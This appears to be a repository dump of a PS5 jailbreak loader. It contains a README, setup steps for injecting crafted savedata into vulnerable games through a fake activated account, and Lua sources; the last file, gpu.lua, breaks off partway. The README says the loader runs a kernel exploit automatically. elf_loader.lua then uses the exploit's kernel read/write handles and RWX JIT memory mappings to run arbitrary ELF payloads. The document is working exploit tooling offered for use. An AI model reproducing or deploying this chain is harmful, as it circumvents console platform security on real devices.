├── README.md ├── SETUP.md └── savedata ├── autoload.lua ├── bit32.lua ├── elf_loader.lua ├── elfldr.elf ├── globals.lua ├── gpu.lua ├── inject.iet ├── kernel.lua ├── kernel_offset.lua ├── lua.lua ├── main.lua ├── memory.lua ├── misc.lua ├── native.lua ├── offsets.lua ├── ps5_lua_loader ├── autoload.txt └── ftpsrv.elf ├── ropchain.lua ├── save9999.dat ├── signal.lua ├── struct.lua ├── syscall.lua ├── thread.lua ├── uint64.lua └── umtx.lua /README.md: -------------------------------------------------------------------------------- 1 | 2 | ## PS5 Lua Loader 3 | 4 | Fork of [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) 5 | 6 | Automatically loads umtx kernel exploit, elfloader, your elf payloads, and Lua scripts. 7 | Supports PS5 firmwares up to 7.61. 8 | 9 | ## How to use 10 | * Create a directory named `ps5_lua_loader`. 11 | * Inside this directory, place your .elf/.bin/.lua files, and an `autoload.txt` file. 12 | * In autoload.txt, list the files you want to load (one per line). 13 | * Filenames are case-sensitive - make sure the names exactly match your files. 14 | * You can add lines like `!1000` to make the loader wait 1000ms before sending the next payload. 15 | * Note: Do not put kernel exploit (e.g. `umtx.lua`) or elfloader in `autoload.txt`, as they are loaded automatically. 16 | * Put the `ps5_lua_loader` directory in one of these locations: 17 | * In the root of a USB drive 18 | * In the internal drive at `/data/ps5_lua_loader` 19 | * In the game’s savedata folder 20 | * Import savedata to your game: 21 | Follow the steps in [SETUP.md](SETUP.md) to prepare and import the savedata for your Lua-compatible game. 22 | 23 | 24 | ## Game Compatibility 25 | 26 | Currently this loader is compatible with the following games: 27 | 28 | | Game Title | TITLE ID | Notes | 29 | |---------------------------------------|-------------|---------------------------------------------------------------------------------| 30 | | Raspberry Cube | CUSA16074 | | 31 | | Aibeya | CUSA17068 | | 32 | | Hamidashi Creative | CUSA27389 | | 33 | | Hamidashi Creative Demo | CUSA27390 | Requires latest firmware to download from PSN | 34 | | Aikagi Kimi to Issho ni Pack | CUSA16229 | | 35 | | Aikagi 2 | CUSA19556 | | 36 | | IxSHE Tell | CUSA17112 | | 37 | | Nora Princess and Stray Cat Heart HD | CUSA13303 | Requires manual loading of savegame (rename `save9999.dat` to `nora_01.dat`) | 38 | | Jinki Resurrection | CUSA25179 | | 39 | | Jinki Resurrection Demo | CUSA25180 | Requires latest firmware to download from PSN | 40 | 41 | ## Credits 42 | 43 | * shahrilnet – creator and maintainer of the original [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) 44 | * excellent blog [post](https://memorycorruption.net/posts/rce-lua-factorio/) where most of the ideas of lua primitives are taken from 45 | * flatz - for sharing ideas and lua implementations 46 | * null_ptr - for helping to develop umtx exploit for PS5 & numerous helps with the loader development 47 | * gezine - for sharing the vulnerable games & ideas 48 | * specter & chendo - for webkit implementations referenced a lot 49 | * al-azif - parts and information grabbed from his sdk, aswell as from his ftp server 50 | * horror - for the notification popup and ftp server payloads 51 | * everyone else who shared their knowledge with the community 52 | 53 | -------------------------------------------------------------------------------- /SETUP.md: -------------------------------------------------------------------------------- 1 | ### Usage on PS5/PS5 Slim/PS5 Pro 2 | 3 | #### Requirements: 4 | 1. PSN-activated PS5/PS5 Slim/PS5 Pro. Can be non-recent offline firmware if was activated in the past. 5 | 2. A Jailbroken PS4 on a firmware version that is earlier or equivilant to the PS5/PS5 Slim/PS5 Pro. Refer to this [table](https://www.psdevwiki.com/ps5/Build_Strings). For example, PS4 9.00 can be used to create save game for PS5 >=4.00 but not below that. 6 | 7 | #### Steps: 8 | 1. Find your logged-in PSN account id on the PS5/PS5 Slim/PS5 Pro. Either by going to the PlayStation settings or by using [this website](https://psn.flipscreen.games/). 9 | 2. Take your account ID number (~19 characters long, for PSPlay) and convert it to hex using [this website](https://www.rapidtables.com/convert/number/decimal-to-hex.html). 10 | 11 | #### JB PS4 - 12 | 3. Play the game for a while until you can create save data. 13 | 4. Connect a USB disk to the PS4. 14 | 5. Use Apollo Save Tool to export decrypted save data to USB drive. 15 | 6. Copy and paste all files from savedata into USB drive (x:\PS4\APOLLO\id_{YOUR_GAME_CUSA_ID}_savedata), overwriting currently existing save data. 16 | 7. Create new fake offline account. 17 | 8. Use Apollo Save Tool to activate the new fake account using the converted hex account ID from step 2. 18 | 9. Switch to the activated fake account. 19 | 10. Import savedata from USB drive using Apollo Save Tool. (`USB Saves -> Select the game -> Copy save game -> Copy to HDD`) 20 | 11. Use the PS4 settings menu to export the encrypted save data to the USB drive. (`Settings -> Application Saved Data Management -> Saved Data in System Storage -> Copy to USB Storage Device`) 21 | 22 | #### PSN-Activated PS5/PS5 Slim/PS5 Pro - 23 | 12. Make sure you're logged-in to the PSN-activated user. 24 | 13. Connect your USB drive to the PS5/PS5 Slim/PS5 Pro. 25 | 14. Use the PS5 settings menu to import the encrypted save data from the USB drive. (`Saved Data and Game/App Settings -> Saved Data (PS4) -> Copy or Delete from USB Drive -> Select your game and import`) 26 | 15. Run the game and check if there is a popup from lua loader. 27 | - Some games require manual loading of save game, e.g. CUSA13303. 28 | -------------------------------------------------------------------------------- /savedata/autoload.lua: -------------------------------------------------------------------------------- 1 | 2 | -- autoload.lua 3 | -- This script loads and runs Lua scripts or ELF files from a specified directory on the PS5. 4 | -- Lua scripts are executed directly, while ELF files are sent to a local server running on port 9021. 5 | 6 | autoload = {} 7 | autoload.options = { 8 | autoload_dirname = "ps5_lua_loader", -- directory where the elfs, lua scripts and autoload.txt are located 9 | autoload_config = "autoload.txt", 10 | } 11 | 12 | 13 | elf_sender = {} 14 | elf_sender.__index = elf_sender 15 | 16 | 17 | syscall.resolve( 18 | { 19 | sendto = 133 20 | } 21 | ) 22 | 23 | function elf_sender:load_from_file(filepath) 24 | if not elf_loader_active then 25 | start_elf_loader() 26 | end 27 | 28 | if file_exists(filepath) then 29 | print("Loading elf from:", filepath) 30 | send_ps_notification("Loading elf from: \n" .. filepath) 31 | else 32 | print("[-] File not found:", filepath) 33 | send_ps_notification("[-] File not found: \n" .. filepath) 34 | end 35 | 36 | local self = setmetatable({}, elf_sender) 37 | self.filepath = filepath 38 | self.elf_data = file_read(filepath) 39 | self.elf_size = #self.elf_data 40 | 41 | print("elf size:", self.elf_size) 42 | return self 43 | end 44 | 45 | function elf_sender:sceNetSend(sockfd, buf, len, flags, addr, addrlen) 46 | return syscall.sendto(sockfd, buf, len, flags, addr, addrlen):tonumber() 47 | end 48 | function elf_sender:sceNetSocket(domain, type, protocol) 49 | return syscall.socket(domain, type, protocol):tonumber() 50 | end 51 | function elf_sender:sceNetSocketClose(sockfd) 52 | return syscall.close(sockfd):tonumber() 53 | end 54 | function elf_sender:htons(port) 55 | return bit32.bor(bit32.lshift(port, 8), bit32.rshift(port, 8)) % 0x10000 56 | end 57 | 58 | function elf_sender:send_to_localhost(port) 59 | 60 | local sockfd = elf_sender:sceNetSocket(2, 1, 0) -- AF_INET=2, SOCK_STREAM=1 61 | print("Socket fd:", sockfd) 62 | assert(sockfd >= 0, "socket creation failed") 63 | local enable = memory.alloc(4) 64 | memory.write_dword(enable, 1) 65 | syscall.setsockopt(sockfd, 1, 2, enable, 4) -- SOL_SOCKET=1, SO_REUSEADDR=2 66 | 67 | local sockaddr = memory.alloc(16) 68 | 69 | memory.write_byte(sockaddr + 0, 16) 70 | memory.write_byte(sockaddr + 1, 2) -- AF_INET 71 | memory.write_word(sockaddr + 2, elf_sender:htons(port)) 72 | 73 | memory.write_byte(sockaddr + 4, 0x7F) -- 127 74 | memory.write_byte(sockaddr + 5, 0x00) -- 0 75 | memory.write_byte(sockaddr + 6, 0x00) -- 0 76 | memory.write_byte(sockaddr + 7, 0x01) -- 1 77 | 78 | local buf = memory.alloc(#self.elf_data) 79 | memory.write_buffer(buf, self.elf_data) 80 | 81 | local total_sent = elf_sender:sceNetSend(sockfd, buf, #self.elf_data, 0, sockaddr, 16) 82 | elf_sender:sceNetSocketClose(sockfd) 83 | if total_sent < 0 then 84 | print("[-] error sending elf data to localhost") 85 | send_ps_notification("error sending elf data to localhost") 86 | return 87 | end 88 | print(string.format("Successfully sent %d bytes to loader", total_sent)) 89 | end 90 | 91 | 92 | function main() 93 | -- Build possible paths, prioritizing USBs first, then /data, then savedata 94 | local possible_paths = {} 95 | for usb = 0, 7 do 96 | table.insert(possible_paths, string.format("/mnt/usb%d/%s/", usb, autoload.options.autoload_dirname)) 97 | end 98 | table.insert(possible_paths, string.format("/data/%s/", autoload.options.autoload_dirname)) 99 | table.insert(possible_paths, get_savedata_path() .. autoload.options.autoload_dirname .. "/") 100 | 101 | local existing_path = nil 102 | for _, path in ipairs(possible_paths) do 103 | if file_exists(path .. autoload.options.autoload_config) then 104 | existing_path = path 105 | break 106 | end 107 | end 108 | 109 | if not existing_path then 110 | send_ps_notification("autoload config not found") 111 | print("[-] autoload config not found") 112 | return 113 | end 114 | 115 | print("Loading autoload config from:", existing_path .. autoload.options.autoload_config) 116 | send_ps_notification("Loading autoload config from: \n" .. existing_path .. autoload.options.autoload_config) 117 | local config = io.open(existing_path .. autoload.options.autoload_config, "r") 118 | 119 | for config_line in config:lines() do 120 | 121 | if config_line == "" or config_line:sub(1, 1) == "#" then 122 | -- skip empty lines and comments 123 | elseif config_line:sub(1, 1) == "!" then 124 | -- sleep line 125 | -- usage: !1000 to sleep for 1000ms 126 | local sleep_time = tonumber(config_line:sub(2)) 127 | if type(sleep_time) ~= "number" then 128 | print("[ERROR] Invalid sleep time:", config_line:sub(2)) 129 | send_ps_notification("[ERROR] Invalid sleep time: \n" .. config_line:sub(2)) 130 | return 131 | end 132 | print(string.format("Sleeping for: %s ms", sleep_time)) 133 | sleep(sleep_time, "ms") 134 | 135 | elseif config_line:sub(-4) == ".elf" or config_line:sub(-4) == ".bin" then 136 | -- error if elfldr is in autoload.txt 137 | if config_line == "elfldr.elf" or config_line == "elfldr.bin" then 138 | print("[ERROR] Remove elfldr from autoload.txt") 139 | send_ps_notification("[ERROR] Remove elfldr from autoload.txt") 140 | return 141 | end 142 | local full_path = existing_path .. config_line 143 | if file_exists(full_path) then 144 | -- Load the ELF file and send it to localhost on port 9021 145 | elf_sender:load_from_file(full_path):send_to_localhost(9021) 146 | else 147 | print("[ERROR] File not found:", full_path) 148 | send_ps_notification("[ERROR] File not found: \n" .. full_path) 149 | end 150 | 151 | elseif config_line:sub(-4) == ".lua" then 152 | -- error if umtx.lua is in autoload.txt 153 | if config_line == "umtx.lua" then 154 | print("[ERROR] Remove umtx.lua from autoload.txt") 155 | send_ps_notification("[ERROR] Remove umtx.lua from autoload.txt") 156 | return 157 | end 158 | local full_path = existing_path .. config_line 159 | if file_exists(full_path) then 160 | -- Load the Lua script and run it 161 | print("Loading Lua script from:", full_path) 162 | send_ps_notification("Loading lua from: \n" .. full_path) 163 | load_and_run_lua(full_path) 164 | else 165 | print("[ERROR] File not found:", full_path) 166 | send_ps_notification("[ERROR] File not found: \n" .. full_path) 167 | end 168 | 169 | else 170 | print("[ERROR] Unsupported file type:", config_line) 171 | send_ps_notification("[ERROR] Unsupported file type: \n" .. config_line) 172 | end 173 | 174 | end 175 | config:close() 176 | end 177 | 178 | 179 | main() 180 | -------------------------------------------------------------------------------- /savedata/bit32.lua: -------------------------------------------------------------------------------- 1 | 2 | -- Copyright (C) 2014-2015 Nathanaël Courant (a.k.a. Nore/Novatux) (nore@mesecons.net) 3 | 4 | -- Permission is hereby granted, free of charge, to any person obtaining a copy 5 | -- of this software and associated documentation files (the "Software"), to deal 6 | -- in the Software without restriction, including without limitation the rights 7 | -- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | -- copies of the Software, and to permit persons to whom the Software is 9 | -- furnished to do so, subject to the following conditions: 10 | 11 | -- The above copyright notice and this permission notice shall be included in 12 | -- all copies or substantial portions of the Software. 13 | 14 | -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | -- THE SOFTWARE. 21 | -- 22 | -- source - https://github.com/minetest-mods/turtle/blob/master/bit32.lua 23 | -- 24 | 25 | bit32 = {} 26 | 27 | bit32.N = 32 28 | bit32.P = 2 ^ bit32.N 29 | 30 | function bit32.bnot(x) 31 | x = x % bit32.P 32 | return bit32.P - 1 - x 33 | end 34 | 35 | function bit32.band(...) 36 | local args = {...} 37 | local result = args[1] or 0 38 | for i = 2, #args do 39 | local x, y = result, args[i] 40 | -- Common usecases, they deserve to be optimized 41 | if y == 0xff then 42 | result = x % 0x100 43 | elseif y == 0xfff then 44 | result = x % 0x1000 45 | elseif y == 0xffff then 46 | result = x % 0x10000 47 | elseif y == 0xffffffff then 48 | result = x % 0x100000000 49 | else 50 | x, y = x % bit32.P, y % bit32.P 51 | result = 0 52 | local p = 1 53 | for j = 1, bit32.N do 54 | local a, b = x % 2, y % 2 55 | x, y = math.floor(x / 2), math.floor(y / 2) 56 | if a + b == 2 then 57 | result = result + p 58 | end 59 | p = 2 * p 60 | end 61 | end 62 | end 63 | return result 64 | end 65 | 66 | function bit32.bor(...) 67 | local args = {...} 68 | local result = args[1] or 0 69 | for i = 2, #args do 70 | local x, y = result, args[i] 71 | -- Common usecases, they deserve to be optimized 72 | if y == 0xff then 73 | result = x - (x%0x100) + 0xff 74 | elseif y == 0xffff then 75 | result = x - (x%0x10000) + 0xffff 76 | elseif y == 0xffffffff then 77 | result = 0xffffffff 78 | else 79 | x, y = x % bit32.P, y % bit32.P 80 | result = 0 81 | local p = 1 82 | for j = 1, bit32.N do 83 | local a, b = x % 2, y % 2 84 | x, y = math.floor(x / 2), math.floor(y / 2) 85 | if a + b >= 1 then 86 | result = result + p 87 | end 88 | p = 2 * p 89 | end 90 | end 91 | end 92 | return result 93 | end 94 | 95 | function bit32.bxor(...) 96 | local args = {...} 97 | local result = args[1] or 0 98 | for i = 2, #args do 99 | local x, y = result, args[i] 100 | x, y = x % bit32.P, y % bit32.P 101 | result = 0 102 | local p = 1 103 | for j = 1, bit32.N do 104 | local a, b = x%2, y%2 105 | x, y = math.floor(x/2), math.floor(y/2) 106 | if a + b == 1 then 107 | result = result + p 108 | end 109 | p = 2 * p 110 | end 111 | end 112 | return result 113 | end 114 | 115 | function bit32.lshift(x, s_amount) 116 | if math.abs(s_amount) >= bit32.N then return 0 end 117 | x = x % bit32.P 118 | if s_amount < 0 then 119 | return math.floor(x * (2 ^ s_amount)) 120 | else 121 | return (x * (2 ^ s_amount)) % bit32.P 122 | end 123 | end 124 | 125 | function bit32.rshift(x, s_amount) 126 | if math.abs(s_amount) >= bit32.N then return 0 end 127 | x = x % bit32.P 128 | if s_amount > 0 then 129 | return math.floor(x * (2 ^ - s_amount)) 130 | else 131 | return (x * (2 ^ -s_amount)) % bit32.P 132 | end 133 | end 134 | 135 | function bit32.arshift(x, s_amount) 136 | if math.abs(s_amount) >= bit32.N then return 0 end 137 | x = x % bit32.P 138 | if s_amount > 0 then 139 | local add = 0 140 | if x >= bit32.P/2 then 141 | add = bit32.P - 2 ^ (bit32.N - s_amount) 142 | end 143 | return math.floor(x * (2 ^ -s_amount)) + add 144 | else 145 | return (x * (2 ^ -s_amount)) % bit32.P 146 | end 147 | end 148 | -------------------------------------------------------------------------------- /savedata/elf_loader.lua: -------------------------------------------------------------------------------- 1 | 2 | -- rudimentary elf loader 3 | -- only expected to load john tornblom's elfldr.elf 4 | 5 | -- credit to nullptr for porting and specter for the original code 6 | 7 | 8 | options = { 9 | elf_dirname = "ps5_lua_loader", -- directory where elfldr.elf is located 10 | elf_filename = "elfldr.elf", 11 | } 12 | 13 | 14 | elf_loader = {} 15 | elf_loader.__index = elf_loader 16 | 17 | elf_loader.shadow_mapping_addr = uint64(0x920100000) 18 | elf_loader.mapping_addr = uint64(0x926100000) 19 | 20 | function elf_loader:load_from_file(filepath) 21 | 22 | if not file_exists(filepath) then 23 | errorf("file not exist: %s", filepath) 24 | end 25 | 26 | local self = setmetatable({}, elf_loader) 27 | 28 | self.filepath = filepath 29 | self.elf_data = file_read(filepath) 30 | self.parse(self) 31 | 32 | return self 33 | end 34 | 35 | function elf_loader:parse() 36 | 37 | -- ELF sizes and offsets 38 | local SIZE_ELF_HEADER = 0x40 39 | local SIZE_ELF_PROGRAM_HEADER = 0x38 40 | local SIZE_ELF_SECTION_HEADER = 0x40 41 | 42 | local OFFSET_ELF_HEADER_ENTRY = 0x18 43 | local OFFSET_ELF_HEADER_PHOFF = 0x20 44 | local OFFSET_ELF_HEADER_SHOFF = 0x28 45 | local OFFSET_ELF_HEADER_PHNUM = 0x38 46 | local OFFSET_ELF_HEADER_SHNUM = 0x3c 47 | 48 | local OFFSET_PROGRAM_HEADER_TYPE = 0x00 49 | local OFFSET_PROGRAM_HEADER_FLAGS = 0x04 50 | local OFFSET_PROGRAM_HEADER_OFFSET = 0x08 51 | local OFFSET_PROGRAM_HEADER_VADDR = 0x10 52 | local OFFSET_PROGRAM_HEADER_FILESZ = 0x20 53 | local OFFSET_PROGRAM_HEADER_MEMSZ = 0x28 54 | 55 | local OFFSET_SECTION_HEADER_TYPE = 0x4 56 | local OFFSET_SECTION_HEADER_OFFSET = 0x18 57 | local OFFSET_SECTION_HEADER_SIZE = 0x20 58 | 59 | local OFFSET_RELA_OFFSET = 0x00 60 | local OFFSET_RELA_INFO = 0x08 61 | local OFFSET_RELA_ADDEND = 0x10 62 | 63 | local SHT_RELA = 0x4 64 | local RELA_ENTSIZE = 0x18 65 | 66 | local PF_X = 1 67 | 68 | -- ELF program header types 69 | local ELF_PT_LOAD = 0x01 70 | local ELF_PT_DYNAMIC = 0x02 71 | 72 | -- ELF dynamic table types 73 | local ELF_DT_NULL = 0x00 74 | local ELF_DT_RELA = 0x07 75 | local ELF_DT_RELASZ = 0x08 76 | local ELF_DT_RELAENT = 0x09 77 | local ELF_R_AMD64_RELATIVE = 0x08 78 | 79 | local elf_store = lua.resolve_value(self.elf_data) 80 | 81 | local elf_entry = memory.read_dword(elf_store + OFFSET_ELF_HEADER_ENTRY):tonumber() 82 | self.elf_entry_point = elf_loader.mapping_addr + elf_entry 83 | 84 | local elf_program_headers_offset = memory.read_dword(elf_store + OFFSET_ELF_HEADER_PHOFF):tonumber() 85 | local elf_program_headers_num = memory.read_word(elf_store + OFFSET_ELF_HEADER_PHNUM):tonumber() 86 | 87 | local elf_section_headers_offset = memory.read_dword(elf_store + OFFSET_ELF_HEADER_SHOFF):tonumber() 88 | local elf_section_headers_num = memory.read_word(elf_store + OFFSET_ELF_HEADER_SHNUM):tonumber() 89 | 90 | local executable_start = 0 91 | local executable_end = 0 92 | 93 | -- parse program headers 94 | for i = 0, elf_program_headers_num-1 do 95 | 96 | local phdr_offset = elf_program_headers_offset + (i * SIZE_ELF_PROGRAM_HEADER) 97 | local p_type = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_TYPE):tonumber() 98 | local p_flags = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FLAGS):tonumber() 99 | local p_offset = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_OFFSET):tonumber() 100 | local p_vaddr = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_VADDR):tonumber() 101 | local p_filesz = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FILESZ):tonumber() 102 | local p_memsz = memory.read_dword(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_MEMSZ):tonumber() 103 | local aligned_memsz = bit32.band(p_memsz + 0x3FFF, 0xFFFFC000) 104 | 105 | if p_type == ELF_PT_LOAD then 106 | 107 | local PROT_RW = bit32.bor(PROT_READ, PROT_WRITE) 108 | local PROT_RWX = bit32.bor(PROT_READ, PROT_WRITE, PROT_EXECUTE) 109 | 110 | if bit32.band(p_flags, PF_X) == PF_X then 111 | 112 | executable_start = p_vaddr 113 | executable_end = p_vaddr + p_memsz 114 | 115 | -- create shm with exec permission 116 | local exec_handle = syscall.jitshm_create(0, aligned_memsz, 0x7) 117 | 118 | -- create shm alias with write permission 119 | local write_handle = syscall.jitshm_alias(exec_handle, 0x3) 120 | 121 | -- map shadow mapping and write into it 122 | syscall.mmap(elf_loader.shadow_mapping_addr, aligned_memsz, PROT_RW, 0x11, write_handle, 0) 123 | memory.memcpy(elf_loader.shadow_mapping_addr, elf_store + p_offset, p_memsz) 124 | 125 | -- map executable segment 126 | syscall.mmap(elf_loader.mapping_addr + p_vaddr, aligned_memsz, PROT_RWX, 0x11, exec_handle, 0) 127 | else 128 | -- copy regular data segment 129 | syscall.mmap(elf_loader.mapping_addr + p_vaddr, aligned_memsz, PROT_RW, 0x1012, 0xFFFFFFFF, 0) 130 | memory.memcpy(elf_loader.mapping_addr + p_vaddr, elf_store + p_offset, p_memsz) 131 | end 132 | end 133 | end 134 | 135 | -- apply relocations 136 | for i = 0, elf_section_headers_num-1 do 137 | 138 | local shdr_offset = elf_section_headers_offset + (i * SIZE_ELF_SECTION_HEADER) 139 | 140 | local sh_type = memory.read_dword(elf_store + shdr_offset + OFFSET_SECTION_HEADER_TYPE):tonumber() 141 | local sh_offset = memory.read_qword(elf_store + shdr_offset + OFFSET_SECTION_HEADER_OFFSET):tonumber() 142 | local sh_size = memory.read_qword(elf_store + shdr_offset + OFFSET_SECTION_HEADER_SIZE):tonumber() 143 | 144 | if sh_type == SHT_RELA then 145 | 146 | local rela_table_count = sh_size / RELA_ENTSIZE 147 | 148 | -- Parse relocs and apply them 149 | for i = 0, rela_table_count-1 do 150 | 151 | local r_offset = memory.read_qword(elf_store + sh_offset + (i * RELA_ENTSIZE) + OFFSET_RELA_OFFSET):tonumber() 152 | local r_info = memory.read_qword(elf_store + sh_offset + (i * RELA_ENTSIZE) + OFFSET_RELA_INFO):tonumber() 153 | local r_addend = memory.read_qword(elf_store + sh_offset + (i * RELA_ENTSIZE) + OFFSET_RELA_ADDEND):tonumber() 154 | 155 | if bit32.band(r_info, 0xFF) == ELF_R_AMD64_RELATIVE then 156 | 157 | local reloc_addr = elf_loader.mapping_addr + r_offset 158 | local reloc_value = elf_loader.mapping_addr + r_addend 159 | 160 | -- If the relocation falls in the executable section, we need to redirect the write to the 161 | -- writable shadow mapping or we'll crash 162 | if executable_start <= r_offset and r_offset < executable_end then 163 | reloc_addr = elf_loader.shadow_mapping_addr + r_offset 164 | end 165 | 166 | memory.write_qword(reloc_addr, reloc_value) 167 | end 168 | end 169 | end 170 | end 171 | 172 | return 173 | 174 | end 175 | 176 | function elf_loader:run() 177 | 178 | local Thrd_create = fcall(libc_addrofs.Thrd_create) 179 | 180 | local rwpipe = memory.alloc(8) 181 | local rwpair = memory.alloc(8) 182 | local args = memory.alloc(0x30) 183 | local thr_handle_addr = memory.alloc(8) 184 | 185 | memory.write_dword(rwpipe, ipv6_kernel_rw.data.pipe_read_fd) 186 | memory.write_dword(rwpipe + 0x4, ipv6_kernel_rw.data.pipe_write_fd) 187 | 188 | memory.write_dword(rwpair, ipv6_kernel_rw.data.master_sock) 189 | memory.write_dword(rwpair + 0x4, ipv6_kernel_rw.data.victim_sock) 190 | 191 | local syscall_wrapper = dlsym(0x2001, "getpid") 192 | 193 | self.payloadout = memory.alloc(4) 194 | 195 | memory.write_qword(args + 0x00, syscall_wrapper) -- arg1 = syscall wrapper 196 | memory.write_qword(args + 0x08, rwpipe) -- arg2 = int *rwpipe[2] 197 | memory.write_qword(args + 0x10, rwpair) -- arg3 = int *rwpair[2] 198 | memory.write_qword(args + 0x18, ipv6_kernel_rw.data.pipe_addr) -- arg4 = uint64_t kpipe_addr 199 | memory.write_qword(args + 0x20, kernel.addr.data_base) -- arg5 = uint64_t kdata_base_addr 200 | memory.write_qword(args + 0x28, self.payloadout) -- arg6 = int *payloadout 201 | 202 | printf("spawning %s", self.filepath) 203 | 204 | -- spawn elf in new thread 205 | local ret = Thrd_create(thr_handle_addr, self.elf_entry_point, args):tonumber() 206 | if ret ~= 0 then 207 | error("Thrd_create() error: " .. hex(ret)) 208 | end 209 | 210 | self.thr_handle = memory.read_qword(thr_handle_addr) 211 | end 212 | 213 | function elf_loader:wait_for_elf_to_exit() 214 | 215 | local Thrd_join = fcall(libc_addrofs.Thrd_join) 216 | 217 | -- will block until elf terminates 218 | local ret = Thrd_join(self.thr_handle, 0):tonumber() 219 | if ret ~= 0 then 220 | error("Thrd_join() error: " .. hex(ret)) 221 | end 222 | 223 | local out = memory.read_dword(self.payloadout) 224 | printf("out = %s", hex(out)) 225 | end 226 | 227 | 228 | function main() 229 | check_jailbroken() 230 | 231 | syscall.resolve({ 232 | jitshm_create = 0x215, 233 | jitshm_alias = 0x216, 234 | mprotect = 0x4a, 235 | }) 236 | 237 | run_with_ps5_syscall_enabled(function() 238 | local elf_dirname = options.elf_dirname 239 | local elf_filename = options.elf_filename 240 | 241 | -- Build possible paths, prioritizing USBs first, then /data, then savedata 242 | local possible_paths = {} 243 | for i = 0, 7 do 244 | table.insert(possible_paths, string.format("/mnt/usb%d/%s/%s", i, elf_dirname, elf_filename)) 245 | end 246 | table.insert(possible_paths, string.format("/data/%s/%s", elf_dirname, elf_filename)) 247 | table.insert(possible_paths, get_savedata_path() .. elf_dirname .. "/" .. elf_filename) 248 | table.insert(possible_paths, get_savedata_path() .. elf_filename) 249 | 250 | local existing_path = nil 251 | for _, path in ipairs(possible_paths) do 252 | if file_exists(path) then 253 | existing_path = path 254 | break 255 | end 256 | end 257 | 258 | if not existing_path then 259 | send_ps_notification("Error: " .. elf_filename .. " not found in any known location\nPlease place it in /data or in root of USB drive") 260 | errorf("file not exist in any known location") 261 | end 262 | 263 | send_ps_notification("Loading ELF: \n" .. existing_path) 264 | printf("loading %s from: %s", elf_filename, existing_path) 265 | 266 | local elf = elf_loader:load_from_file(existing_path) 267 | elf:run() 268 | elf:wait_for_elf_to_exit() 269 | end) 270 | 271 | print("done") 272 | end 273 | 274 | main() 275 | 276 | -------------------------------------------------------------------------------- /savedata/elfldr.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsPLK/ps5_lua_loader/592d909a3390b9da70ea4bb04031c43c19d492d1/savedata/elfldr.elf -------------------------------------------------------------------------------- /savedata/globals.lua: -------------------------------------------------------------------------------- 1 | 2 | PAGE_SIZE = 0x4000 3 | PHYS_PAGE_SIZE = 0x1000 4 | 5 | STDIN_FILENO = 0 6 | STDOUT_FILENO = 1 7 | STDERR_FILENO = 2 8 | 9 | AF_INET = 2 10 | AF_INET6 = 28 11 | SOCK_STREAM = 1 12 | SOCK_DGRAM = 2 13 | IPPROTO_UDP = 17 14 | IPPROTO_IPV6 = 41 15 | IPV6_PKTINFO = 46 16 | INADDR_ANY = 0 17 | 18 | SOL_SOCKET = 0xffff -- options for socket level 19 | SO_REUSEADDR = 4 -- allow local address reuse 20 | 21 | PROT_NONE = 0x0 22 | PROT_READ = 0x1 23 | PROT_WRITE = 0x2 24 | PROT_EXECUTE = 0x4 25 | GPU_READ = 0x10 26 | GPU_WRITE = 0x20 27 | GPU_RW = 0x30 28 | 29 | MAP_SHARED = 0x1 30 | MAP_PRIVATE = 0x2 31 | MAP_FIXED = 0x10 32 | MAP_ANONYMOUS = 0x1000 33 | MAP_NO_COALESCE = 0x400000 34 | 35 | O_RDONLY = 0 36 | O_WRONLY = 1 37 | O_RDWR = 2 38 | O_CREAT = 0x100 39 | O_TRUNC = 0x1000 40 | O_APPEND = 0x2000 41 | O_NONBLOCK = 0x4000 42 | 43 | SIGILL = 4 44 | SIGBUS = 10 45 | SIGSEGV = 11 46 | SA_SIGINFO = 0x4 47 | 48 | LIBKERNEL_HANDLE = 0x2001 -------------------------------------------------------------------------------- /savedata/gpu.lua: -------------------------------------------------------------------------------- 1 | 2 | -- credit to flatz and shadPS4 project for references 3 | 4 | -- gpu page table 5 | 6 | GPU_PDE = { 7 | VALID = 0, 8 | IS_PTE = 54, 9 | TF = 56, 10 | BLOCK_FRAGMENT_SIZE = 59, 11 | } 12 | 13 | GPU_PDE_MASKS = { 14 | VALID = 1, 15 | IS_PTE = 1, 16 | TF = 1, 17 | BLOCK_FRAGMENT_SIZE = 0x1f, 18 | } 19 | 20 | GPU_PDE_ADDR_MASK = uint64("0x0000ffffffffffc0") 21 | 22 | function gpu_pde_field(pde, field) 23 | local shift = GPU_PDE[field] 24 | local mask = GPU_PDE_MASKS[field] 25 | return bit64.band(bit64.rshift(pde, shift), mask):tonumber() 26 | end 27 | 28 | function gpu_walk_pt(vmid, virt_addr) 29 | 30 | local pdb2_addr = get_pdb2_addr(vmid) 31 | 32 | local pml4e_index = bit64.band(bit64.rshift(virt_addr, 39), 0x1ff) 33 | local pdpe_index = bit64.band(bit64.rshift(virt_addr, 30), 0x1ff) 34 | local pde_index = bit64.band(bit64.rshift(virt_addr, 21), 0x1ff) 35 | 36 | -- PDB2 37 | 38 | local pml4e = kernel.read_qword(pdb2_addr + pml4e_index * 8) 39 | 40 | if gpu_pde_field(pml4e, "VALID") ~= 1 then 41 | return nil 42 | end 43 | 44 | -- PDB1 45 | 46 | local pdp_base_pa = bit64.band(pml4e, GPU_PDE_ADDR_MASK) 47 | local pdpe_va = phys_to_dmap(pdp_base_pa) + pdpe_index * 8 48 | local pdpe = kernel.read_qword(pdpe_va) 49 | 